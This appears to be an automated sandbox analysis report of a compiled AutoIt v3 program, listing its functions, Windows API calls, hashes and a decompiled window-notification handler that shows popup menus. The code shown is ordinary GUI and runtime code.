0x00000000
0x0118c1a7
0x0118c160
0x0118c160
0x0118c164
0x0118c167
0x0118c16b
0x0118c16d
0x0118c16f
0x0118c178
0x0118c17d
0x0118c181
0x0118c181
0x0118c184
0x0118c18b
0x0118c18c
0x0118c18c
0x00000000
0x0118c160
0x0118c141
0x00000000
0x0118c1c4
0x0118c1cb
0x0118c1d3
0x0118c1db
0x00000000
0x00000000
0x011c4153
0x011c415e
0x011c4160
0x011c4165
0x011c4167
0x011c418c
0x011c4198
0x011c419c
0x011c41a0
0x00000000
0x011c41a0
0x011c4169
0x011c416d
0x011c4179
0x011c417e
0x011c4182
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0118bfcc
0x0118bfb1
0x00000000
0x0118bfb1
0x0118bedd
0x00000000
0x0118bedd
0x0118be64
0x0118bd72
0x0118bd72
0x0118bd79
0x0118bd81
0x0118bd91
0x0118bd9c
0x0118bda6
0x0118bdae
0x0118bdb5
0x0118bdb7
0x0118bdbc
0x0118bdc1
0x0118bdc6
0x0118c372
0x0118bdcc
0x0118bdcc
0x0118bdcc
0x0118bdd2
0x0118bde0
0x011c36e2
0x011c36ee
0x011c36f1
0x011c36f6
0x011c36fb
0x011c3700
0x011c3702
0x011c3705
0x011c3707
0x011c3707
0x011c370c
0x011c3714
0x011c371e
0x00000000
0x011c3724
0x011c372b
0x011c3733
0x011c3735
0x011c3737
0x00000000
0x00000000
0x011c3741
0x011c3749
0x011c3751
0x011c3759
0x011c3771
0x011c377c
0x011c3780
0x011c3799
0x011c37a5
0x011c37ae
0x011c37c6
0x011c37d1
0x011c37d5
0x011c37ee
0x011c37fa
0x011c3803
0x011c381b
0x011c3826
0x011c382a
0x011c3843
0x011c384f
0x011c3854
0x011c3866
0x011c386f
0x011c3876
0x011c3882
0x00000000
0x011c3882
0x011c371e
0x0118bdf4
0x011c388c
0x011c3893
0x011c38a8
0x011c38a8
0x011c38aa
0x011c38aa
0x00000000
0x011c38aa
0x011c3895
0x011c389c
0x00000000
0x00000000
0x011c389e
0x011c38a4
0x00000000
0x011c38a4
0x0118bdfa
0x0118bdfa
0x0118be01
0x0118be03
0x0118be0c
0x0118be15
0x0118be1a
0x0118be1a
0x0118be03
0x00000000
0x0118bd79
0x0118bd09
0x0118bd09
0x0118bd15
0x0118bd1c
0x0118bd24
0x00000000
0x0118bd28
0x0118bd2a
0x00000000
0x0118bd30
0x0118bd30
0x0118bd30
0x0118bd30
0x0118bd34
0x0118bd34
0x0118bd34
0x0118bd36
0x0118bd36
0x0118bd36
0x0118bd3c
0x00000000
0x00000000
0x0118bf95
0x0118bf97
0x0118bf9b
0x011c36d5
0x011c36d8
0x0118bd34
0x0118bd34
0x00000000
0x0118bd34
0x0118bfa1
0x0118bfa1
0x0118bd42
0x0118bd46
0x0118bd4f
0x00000000
0x0118bd55
0x0118bd55
0x0118bd55
0x00000000
0x0118bd55
0x0118bd4f
0x0118bf4c
0x0118bf4c
0x0118bf4e
0x0118bf52
0x0118bf8d
0x0118bf8d
0x00000000
0x0118bf8d
0x0118bf54
0x0118bf57
0x0118bf5d
0x0118bf5f
0x0118bf61
0x0118bf63
0x0118bf69
0x011c36c0
0x011c36c6
0x0118bf78
0x0118bf78
0x0118bf7a
0x0118bf7c
0x00000000
0x00000000
0x0118bf7e
0x0118c324
0x0118c324
0x0118c332
0x0118c337
0x0118c342
0x0118c349
0x0118c34f
0x0118c356
0x00000000
0x0118c356
0x0118bf84
0x0118bf87
0x00000000
0x00000000
0x00000000
0x0118bf87
0x0118bf77
0x0118bf77
0x00000000
0x0118bf77
0x0118bf6f
0x0118bf75
0x00000000
0x00000000
0x00000000
0x0118bf75
0x0118bcfe
0x00000000
0x0118bcc0

APIs

timeGetTime.WINMM ref: 0118BF57

Part of subcall function 011852B0: PeekMessageW.USER32 ref: 011852E6

Sleep.KERNEL32(0000000A,?,?), ref: 011C36B5

Strings

@GUI_WINHANDLE, xrefs: 011C37C1
@TRAY_ID, xrefs: 011C3FCD
@GUI_CTRLID, xrefs: 011C376C
@COM_EVENTOBJ, xrefs: 011C3D2E
@GUI_CTRLHANDLE, xrefs: 011C3816
CALL, xrefs: 0118C277

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: MessagePeekSleepTimetime
String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID$CALL
API String ID: 1792118007-922114024
Opcode ID: 72bbf528832f618beeb741f384b3468666463c5409cc62c8b9482c55763314e8
Instruction ID: 1178e683129726d487ea2e5695e6b498eaac83075b27f9797a34068067194f12
Opcode Fuzzy Hash: 72bbf528832f618beeb741f384b3468666463c5409cc62c8b9482c55763314e8
Instruction Fuzzy Hash: 13C2AF706083429FD72DEF28C454BAABBE1BFA4704F04891DE59A87290DB71E845CF97

Uniqueness

Uniqueness Score: -1.00%

Function 01183411, Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54windowregistryCOMMON

Download Yara Rule

APIs

GetSysColorBrush.USER32(0000000F), ref: 01183444
RegisterClassExW.USER32 ref: 0118346E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 0118347F
InitCommonControlsEx.COMCTL32(?), ref: 0118349C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 011834AC
LoadIconW.USER32(000000A9), ref: 011834C2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 011834D1

Strings

+, xrefs: 0118342D
AutoIt v3 GUI, xrefs: 01183460
TaskbarCreated, xrefs: 01183474
0, xrefs: 01183426

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 01f307e30e84be205bdebbf56417ef2438b4627197083d5ba3d3d29b15554b3c
Instruction ID: 8fc737a35556c8e3783442476d3652a567abc6d25a754b3dc68161de588ef4bc
Opcode Fuzzy Hash: 01f307e30e84be205bdebbf56417ef2438b4627197083d5ba3d3d29b15554b3c
Instruction Fuzzy Hash: B521F7B5D10209AFEB20DFA4F88CB9DBBF4FB18700F00411AF520A6288DBB10584DF95

Uniqueness

Uniqueness Score: -1.00%

Function 011852B0, Relevance: 7.6, APIs: 5, Instructions: 99windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32 ref: 011852E6
PeekMessageW.USER32 ref: 0118534A
TranslateMessage.USER32(?), ref: 01185356
DispatchMessageW.USER32 ref: 01185360

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Message$Peek$DispatchTranslate
String ID:
API String ID: 1795658109-0
Opcode ID: 391330cb407f306cab1d2c184bbf517c4e634f81818f83af792319810cc8439d
Instruction ID: ff34aaca944a277f9e982e491957bc6417d8b047cd119d67f8c97d93f6bca714
Opcode Fuzzy Hash: 391330cb407f306cab1d2c184bbf517c4e634f81818f83af792319810cc8439d
Instruction Fuzzy Hash: DD31E730508306DBEF7DEAA8F888BE97BEAEB01308F158159F921971C5D7B59085DF12

Uniqueness

Uniqueness Score: -1.00%

Function 01181284, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,01181275,SwapMouseButtons,00000004,?), ref: 011812A8
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,01181275,SwapMouseButtons,00000004,?), ref: 011812C9
RegCloseKey.KERNELBASE(00000000,?,?,?,80000001,80000001,?,01181275,SwapMouseButtons,00000004,?), ref: 011812EB

Strings

Control Panel\Mouse, xrefs: 011812A6

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: a630f72bbeaa833a12eaa559ddb209e7ba2ffa2f1879f2776c29a70b65046117
Instruction ID: dd4acbecfc6674f1cbc555baf856fb3e196678dcbaa723eb8933aedd466814e3
Opcode Fuzzy Hash: a630f72bbeaa833a12eaa559ddb209e7ba2ffa2f1879f2776c29a70b65046117
Instruction Fuzzy Hash: 5F115AB2514208BFDB25DFA9D884EAEBBB9EF05750F108559F805D7100D7319E819BA4

Uniqueness

Uniqueness Score: -1.00%

Function 011920E0, Relevance: 4.9, APIs: 3, Instructions: 422COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69424cb11a1a5b83401806e6abcc356623c59347226eaf8bbb651bc7bd700642
Instruction ID: e43ac5f50cbe0efe30cbeddd0ac8742c963fe3f09bed6aa13e43d533ab432052
Opcode Fuzzy Hash: 69424cb11a1a5b83401806e6abcc356623c59347226eaf8bbb651bc7bd700642
Instruction Fuzzy Hash: 52F1D475D0011AEBDF1CDF98C880AFEB775FF58710F45802AE926A7290DB349A51CB92

Uniqueness

Uniqueness Score: -1.00%

Function 011A0FE6, Relevance: 4.5, APIs: 3, Instructions: 44COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 011A0FFE

Part of subcall function 011A593C: __FF_MSGBANNER.LIBCMT ref: 011A5953
Part of subcall function 011A593C: __NMSG_WRITE.LIBCMT ref: 011A595A
Part of subcall function 011A593C: RtlAllocateHeap.NTDLL(016C0000,00000000,00000001,?,00000004,?,?,011A1003,?), ref: 011A597F

std::exception::exception.LIBCMT ref: 011A101C
__CxxThrowException@8.LIBCMT ref: 011A1031

Part of subcall function 011A87CB: RaiseException.KERNEL32(?,?,?,0123CAF8,?,?,?,?,?,011A1036,?,0123CAF8,?,00000001), ref: 011A8820

Part of subcall function 011A8701: _free.LIBCMT ref: 011A87AE

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_free_mallocstd::exception::exception
String ID:
API String ID: 3712093317-0
Opcode ID: 7e0b8e65ae5b23b08114f4c711b711c18d213a421592eb075cd43177f4d50fa4
Instruction ID: 4fffc5953fc7af267dc268d595c9ea23c4cd0d5fd082d99798c4424c1cdc23ac
Opcode Fuzzy Hash: 7e0b8e65ae5b23b08114f4c711b711c18d213a421592eb075cd43177f4d50fa4
Instruction Fuzzy Hash: 9BF0F4BD64420EB6DB2CEAACDD149EE7FACAF11264F80001AF914A2180DB718651C2E1

Uniqueness

Uniqueness Score: -1.00%

Function 0119153B, Relevance: 3.1, APIs: 2, Instructions: 119COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 011915C4
_memmove.LIBCMT ref: 011CF2B5

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: f1e78a37498a43a948365ecaae859575440dca65613d501acde729d1b26fccda
Instruction ID: d0dc30203a0cc1e8cc3e842eb663001f314d5858aecb7c95ee988a84fb0e603c
Opcode Fuzzy Hash: f1e78a37498a43a948365ecaae859575440dca65613d501acde729d1b26fccda
Instruction Fuzzy Hash: 85412275A00507FBDF0CDF64E844A6DBB76FF18750F21815AD006C6250EB30A8A1CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0119343F, Relevance: 1.6, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0119351A

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 000faa3dd293921f7afd7233564ca9252cb901d3f4e5b900a8355ef29a1c6f44
Instruction ID: f7b68305f6087d57bcb8087735019bebdb70701f8562bc2e395dea77437e2cc4
Opcode Fuzzy Hash: 000faa3dd293921f7afd7233564ca9252cb901d3f4e5b900a8355ef29a1c6f44
Instruction Fuzzy Hash: FC319079614602DFDB2CDF28D450A21FBA4FF08750B45C569E9AA8B750D730E841CB91

Uniqueness

Uniqueness Score: -1.00%

Function 01191D0B, Relevance: 1.6, APIs: 1, Instructions: 92COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(00000040,?,00000001,00000000,00000001,?,01192367,00000001,00000001,?,011F3FF9,00000001,00000001,?,011F3FF9,00000040), ref: 01191D6B

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: BuffCharUpper
String ID:
API String ID: 3964851224-0
Opcode ID: d6977208a58e571c932b5a256eb899b9cb54611b5f351fdfb2dabe572d225369
Instruction ID: 1e2b4a15d37cc8e6c7256046435d0ee715b43e46aadf61f8aeaa09d2a0f86270
Opcode Fuzzy Hash: d6977208a58e571c932b5a256eb899b9cb54611b5f351fdfb2dabe572d225369
Instruction Fuzzy Hash: 98218439600107BBDF2DAF68C45C6FD7BE2BB45B30B544126AA3A6B290C7309DD58B53

Uniqueness

Uniqueness Score: -1.00%

Function 0119436A, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

Part of subcall function 011A0FE6: _malloc.LIBCMT ref: 011A0FFE

_wcscpy.LIBCMT ref: 0119438D

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: _malloc_wcscpy
String ID:
API String ID: 1047721496-0
Opcode ID: 75232ef9d2ef5cd55fa069cb44735b9cf9ea528aa5b6ba351a8341ae1038b71c
Instruction ID: 7c5172a5324063ef02f58134fc1b57b9ab1defd4623dfc755e0022807d12ebbb
Opcode Fuzzy Hash: 75232ef9d2ef5cd55fa069cb44735b9cf9ea528aa5b6ba351a8341ae1038b71c
Instruction Fuzzy Hash: 27D0A7773011212AA62D313D6C07C7F481CCBD28A4B45103EF602CA190EE604C0201A1

Uniqueness

Uniqueness Score: -1.00%

Function 011A2E74, Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

Part of subcall function 011A3447: __lock.LIBCMT ref: 011A3449

__onexit_nolock.LIBCMT ref: 011A2E90

Part of subcall function 011A2EB8: RtlDecodePointer.NTDLL(?,00000000,00000000,?,?,011A2E95,011BB7EA,0123CB50), ref: 011A2ECB
Part of subcall function 011A2EB8: DecodePointer.KERNEL32(?,?,011A2E95,011BB7EA,0123CB50), ref: 011A2ED6
Part of subcall function 011A2EB8: __realloc_crt.LIBCMT ref: 011A2F17
Part of subcall function 011A2EB8: __realloc_crt.LIBCMT ref: 011A2F2B
Part of subcall function 011A2EB8: EncodePointer.KERNEL32(00000000,?,?,011A2E95,011BB7EA,0123CB50), ref: 011A2F3D
Part of subcall function 011A2EB8: EncodePointer.KERNEL32(011BB7EA,?,?,011A2E95,011BB7EA,0123CB50), ref: 011A2F4B
Part of subcall function 011A2EB8: EncodePointer.KERNEL32(00000004,?,?,011A2E95,011BB7EA,0123CB50), ref: 011A2F57

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Pointer$Encode$Decode__realloc_crt$__lock__onexit_nolock
String ID:
API String ID: 3536590627-0
Opcode ID: bd42296fa0c4aa4faf33caf6767f10958c4ab9cab8df9f4d8aa6d05709908eab
Instruction ID: 5ac6922931cfaf5038e7809c963521bb41e56d008a9994de4d7796fc09bd1664
Opcode Fuzzy Hash: bd42296fa0c4aa4faf33caf6767f10958c4ab9cab8df9f4d8aa6d05709908eab
Instruction Fuzzy Hash: FBD012B9D1121AABDB18BBA4880075D7E706F2062AFD08145D42466280C7740A425B91

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0120D164, Relevance: 74.1, APIs: 40, Strings: 2, Instructions: 637
windowkeyboardCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E0120D164(void* __ebx, struct HWND__* _a4, int _a8, long _a12) {
				intOrPtr _v24;
				long _v52;
				void* _v56;
				intOrPtr _v60;
				intOrPtr _v84;
				long _v92;
				void* _v96;
				signed int _v108;
				int _v112;
				void* _v116;
				struct HWND__** _v120;
				intOrPtr _v124;
				long _v128;
				signed int _v132;
				int _v136;
				void* _v140;
				char _v144;
				struct HWND__* _v148;
				struct tagPOINT _v156;
				struct tagPOINT _v164;
				signed int _v165;
				signed int _v168;
				signed int _v172;
				long _v176;
				void* __edi;
				signed int _t221;
				signed int _t223;
				long _t224;
				intOrPtr _t226;
				signed int _t228;
				signed int _t229;
				signed int _t232;
				intOrPtr _t233;
				signed int _t236;
				intOrPtr _t239;
				signed int _t242;
				intOrPtr _t244;
				intOrPtr _t251;
				intOrPtr _t254;
				signed int _t258;
				intOrPtr _t261;
				signed int _t271;
				intOrPtr _t273;
				intOrPtr _t275;
				long _t279;
				intOrPtr _t282;
				signed int _t288;
				signed int _t291;
				intOrPtr _t293;
				signed int _t295;
				signed int _t303;
				intOrPtr _t306;
				signed int _t310;
				long _t318;
				signed int _t341;
				intOrPtr _t342;
				intOrPtr _t347;
				intOrPtr _t352;
				signed int _t357;
				signed int _t359;
				short _t362;
				short _t363;
				short _t365;
				signed int _t367;
				struct HWND__* _t374;
				signed int _t375;
				long _t376;
				intOrPtr _t383;
				intOrPtr _t385;
				intOrPtr _t387;
				intOrPtr _t388;
				intOrPtr _t390;
				long _t393;
				struct HMENU__* _t395;
				signed int _t397;
				struct HMENU__* _t399;
				signed int _t401;
				intOrPtr _t405;
				signed int _t417;
				void* _t418;
				intOrPtr _t419;
				intOrPtr _t420;
				long _t422;
				intOrPtr _t426;
				signed int _t429;
				struct tagPOINT* _t439;
				intOrPtr _t440;
				int _t441;
				long _t443;
				signed int _t444;
				intOrPtr _t445;
				void* _t450;
				void* _t451;

				_t221 = E011829E2(0x12477b0, _a4);
				_t383 =  *0x1247810; // 0x0
				_t422 = _a12;
				_v148 = _t221;
				_t426 =  *((intOrPtr*)( *((intOrPtr*)(_t383 + _t221 * 4))));
				_t385 =  *((intOrPtr*)(_t422 + 8));
				_v124 = _t426;
				_t450 = _t385 - 0xfffffe6e;
				if(_t450 > 0) {
					__eflags = _t385 - 0xfffffff0;
					if(__eflags > 0) {
						__eflags = _t385 - 0xfffffff4;
						if(_t385 == 0xfffffff4) {
							_t223 = E011829AB(0x12477b0,  *_t422);
							_v168 = _t223;
							__eflags = _t223 - 0xffffffff;
							if(_t223 == 0xffffffff) {
								L12:
								_t224 = DefDlgProcW(_a4, 0x4e, _a8, _t422);
								L13:
								return _t224;
							}
							_t387 =  *0x1247824; // 0x16d70b0
							_t388 =  *((intOrPtr*)( *((intOrPtr*)(_t387 + _t223 * 4))));
							_t226 =  *((intOrPtr*)(_t388 + 0x90));
							__eflags = _t226 - 0x10;
							if(_t226 == 0x10) {
								L101:
								_t228 =  *((intOrPtr*)(_t422 + 0xc)) - 1;
								__eflags = _t228;
								if(_t228 == 0) {
									_t224 = 0x20;
									goto L13;
								}
								_t229 = _t228 - 0x10000;
								__eflags = _t229;
								if(_t229 != 0) {
									goto L12;
								}
								__eflags =  *((intOrPtr*)(_t388 + 0x48)) - 0xfe000000;
								_v165 = _t229;
								if( *((intOrPtr*)(_t388 + 0x48)) == 0xfe000000) {
									_v165 = 1;
								}
								_t232 = E011827D2(0x12477b0,  *((intOrPtr*)(_t422 + 0x2c)),  &_v144,  &_v164);
								__eflags = _t232;
								if(_t232 != 0) {
									_t233 =  *0x1247824; // 0x16d70b0
									_t429 = _v164.x;
									_t236 = GetWindowLongW( *( *((intOrPtr*)( *((intOrPtr*)(_t233 + _t429 * 4)))) + 0x34), 0xfffffff0);
									__eflags = _t236 & 0x08000000;
									if((_t236 & 0x08000000) != 0) {
										goto L106;
									}
									__eflags =  *(_t422 + 0x28) & 0x00000011;
									_t390 =  *0x1247824; // 0x16d70b0
									if(( *(_t422 + 0x28) & 0x00000011) == 0) {
										L110:
										_t239 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t390 + _t429 * 4)))) + 0x4c));
										__eflags = _t239 - 0xffffffff;
										if(_t239 != 0xffffffff) {
											 *((intOrPtr*)(_t422 + 0x30)) = _t239;
											_t390 =  *0x1247824; // 0x16d70b0
										}
										_t242 =  *( *((intOrPtr*)( *((intOrPtr*)(_t390 + _t429 * 4)))) + 0x48);
										__eflags = _t242;
										if(_t242 < 0) {
											goto L106;
										} else {
											__eflags = _v165;
											if(_v165 == 0) {
												L115:
												 *(_t422 + 0x34) = _t242;
												goto L106;
											}
											__eflags =  *(_t422 + 0x24) & 0x00000001;
											if(( *(_t422 + 0x24) & 0x00000001) == 0) {
												goto L106;
											}
											goto L115;
										}
									}
									_t244 =  *((intOrPtr*)( *((intOrPtr*)(_t390 + _t429 * 4))));
									__eflags =  *((char*)(_t244 + 0x90)) - 0x14;
									if( *((char*)(_t244 + 0x90)) != 0x14) {
										goto L12;
									}
									goto L110;
								} else {
									L106:
									_t224 = 0;
									goto L13;
								}
							}
							__eflags = _t226 - 0x13;
							if(_t226 != 0x13) {
								goto L12;
							}
							goto L101;
						}
						__eflags = _t385 - 0xfffffffb;
						if(_t385 == 0xfffffffb) {
							_v165 = 0;
							E01182714(0x12477b0, _t426, 1);
							GetCursorPos( &_v164);
							ScreenToClient( *_t422,  &_v164);
							_t393 = E011829AB(0x12477b0,  *_t422);
							_v172 = _t393;
							_v176 = _t393;
							__eflags = _t393 - 0xffffffff;
							if(_t393 != 0xffffffff) {
								L79:
								_t251 =  *0x1247824; // 0x16d70b0
								_v148 = _t393;
								_t254 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t251 + _t393 * 4)))) + 0x90));
								__eflags = _t254 - 0x10;
								if(_t254 == 0x10) {
									_v140 = _v156.x;
									_v136 = _v156.y;
									_t258 = SendMessageW( *_t422, 0x1111, 0,  &_v140);
									__eflags = _t258;
									if(_t258 == 0) {
										L96:
										ClientToScreen( *_t422,  &_v156);
										_t261 =  *0x1247824; // 0x16d70b0
										_t395 =  *( *((intOrPtr*)( *((intOrPtr*)(_t261 + _v164.y * 4)))) + 0xc);
										__eflags = _t395;
										if(_t395 == 0) {
											goto L12;
										}
										TrackPopupMenuEx(_t395, 0x80, _v156.x, _v156.y,  *_v120, 0);
										L37:
										_t224 = 1;
										goto L13;
									}
									_v92 = _t258;
									_v96 = 4;
									SendMessageW( *_t422, 0x113e, 0,  &_v96);
									__eflags = _v132 & 0x00000046;
									if((_v132 & 0x00000046) == 0) {
										goto L96;
									}
									_t271 = E011827D2(0x12477b0, _v60,  &_v144,  &_v164);
									__eflags = _t271;
									if(_t271 == 0) {
										L95:
										_v164.y = _v148;
										goto L96;
									}
									_t397 = _v164.x;
									_t273 =  *0x1247824; // 0x16d70b0
									_v164.y = _t397;
									_t275 =  *((intOrPtr*)( *((intOrPtr*)(_t273 + _t397 * 4))));
									__eflags =  *(_t275 + 0xc);
									if( *(_t275 + 0xc) != 0) {
										goto L96;
									}
									goto L95;
								}
								__eflags = _t254 - 0x13;
								if(_t254 != 0x13) {
									goto L12;
								}
								_v116 = _v156.x;
								_v112 = _v156.y;
								_t279 = SendMessageW( *_t422, 0x1012, 0,  &_v116);
								__eflags = _t279 - 0xffffffff;
								if(_t279 <= 0xffffffff) {
									L89:
									ClientToScreen( *_t422,  &_v156);
									_t282 =  *0x1247824; // 0x16d70b0
									_t399 =  *( *((intOrPtr*)( *((intOrPtr*)(_t282 + _v164.y * 4)))) + 0xc);
									__eflags = _t399;
									if(_t399 != 0) {
										TrackPopupMenuEx(_t399, 0, _v156.x, _v156.y,  *_v120, 0);
									}
									goto L12;
								}
								__eflags = _v165;
								if(_v165 != 0) {
									goto L89;
								}
								_v52 = _t279;
								_v56 = 4;
								_t288 = SendMessageW( *_t422, 0x104b, 0,  &_v56);
								__eflags = _t288;
								if(_t288 == 0) {
									goto L12;
								}
								__eflags = _v108 & 0x0000000e;
								if((_v108 & 0x0000000e) == 0) {
									goto L89;
								}
								_t291 = E011827D2(0x12477b0, _v24,  &_v144,  &_v164);
								__eflags = _t291;
								if(_t291 == 0) {
									L88:
									_v164.y = _v148;
									goto L89;
								}
								_t401 = _v164.x;
								_t293 =  *0x1247824; // 0x16d70b0
								_v164.y = _t401;
								_t295 =  *( *(_t293 + _t401 * 4));
								__eflags = _t295;
								if(_t295 == 0) {
									goto L88;
								}
								__eflags =  *(_t295 + 0xc);
								if( *(_t295 + 0xc) != 0) {
									goto L89;
								}
								goto L88;
							}
							_t393 = E011829AB(0x12477b0, GetParent( *_t422));
							_v164.x = _t393;
							_v168 = _t393;
							__eflags = _t393 - 0xffffffff;
							if(_t393 == 0xffffffff) {
								goto L12;
							}
							_v165 = 1;
							goto L79;
						}
